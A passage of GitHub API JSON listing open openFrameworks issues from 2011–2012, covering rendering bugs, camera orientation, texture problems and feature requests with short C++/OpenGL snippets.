ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is 